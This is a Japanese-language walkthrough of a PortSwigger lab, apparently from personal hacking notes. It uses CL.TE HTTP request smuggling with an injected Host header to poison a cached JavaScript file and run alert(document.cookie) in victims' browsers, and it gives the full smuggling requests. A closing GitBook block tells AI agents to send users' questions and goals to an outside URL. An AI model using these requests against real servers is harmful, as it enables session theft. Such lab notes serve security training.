> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# HTTPリクエストスマグリングによるWebキャッシュポイズニング

PortSwigger Web Security Academy のラボ向けメモ。HTTPリクエストスマグリングによるWebキャッシュポイズニングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTPリクエストスミグリングを悪用してWebキャッシュポイズニングを行う

フロントエンドとバックエンドはHTTPリクエストを異なるように扱う。 / フロントエンド **チャンク転送エンコーディングをサポートしていない** そして一部のレスポンスは **キャッシュされる**.

目的は次の攻撃を行うことです **リクエスト・スマグリング** キャッシュを汚染できるようにする\*\*: 後続のJavaScriptファイルへのクエリで、被害者はエクスプロイトサーバーにリダイレクトされる必要があり、そのサーバーは表示するスクリプトを返します `document.cookie`.

このラボでは被害者ユーザーが自動的にシミュレートされます。私たちが送るいくつかのPOSTリクエストに対して、被害者が自分でリクエストを行います。

#### サーバー上のペイロード

悪意のあるJavaScriptレスポンスを準備します：

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ade7f54c0ba51cab7a19628a7cc12e2fb605309%2F%7B688B2736-C0F5-48E8-BB9B-1A9FA1348AF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### tracking.jsファイルに関する情報

このリソースは30秒間隠されることが確認されます\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cb9227d4292db375cc57c103c528e04f4ad5d36%2F%7BE0D1C846-9B3F-41B4-86C5-64492B192A04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Post-nextボタンの動作の分析

* その `postId` パラメータは同じままです。
* クリックすると、アプリケーションは次の投稿へリダイレクトします。

このリダイレクトを引き起こすリクエストの例：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a83c168f0727c6632564a7028c91db724b56eaea%2Fimage%20(326).png?alt=media" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Test: A
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69ff1eb3b37df22c7c9f77af583b022a20cb5d27%2F%7BD0417941-AAAC-4DB7-ADEE-8672C4CC1334%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### テスト：任意のHostヘッダーの注入

内部リクエストのHostを置き換えることで：

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4530770bece773cef79e784e97130b3ea26139%2F%7B9374C948-EB94-42D9-926D-8C408050753D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65783151f4e83228b1bb0e5b7613006ef36c6d80%2F%7B36D31FF1-CF50-4E40-8F5D-E481E16E0F0E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### エクスプロイトサーバーへリダイレクトする最終ペイロード

私たちが制御する内容を含む内部GETリクエストが **Host** 注入されます：

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

被害者がキャッシュされたJavaScriptリソースを読み込むとすぐに、キャッシュは **30秒間** 改変されたレスポンスを返し、次を引き起こします：

```javascript
alert(document.cookie)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ab73925af1dbb7f23c9e75112cd87adc86598c%2F%7B860571D4-0B89-4DEC-B5B0-311E0187CFE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2306ee05f8c6f9a6b685dff72cc726a2865d2481%2F%7B540403E5-0DAB-4B4B-87F9-9466F806A10A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
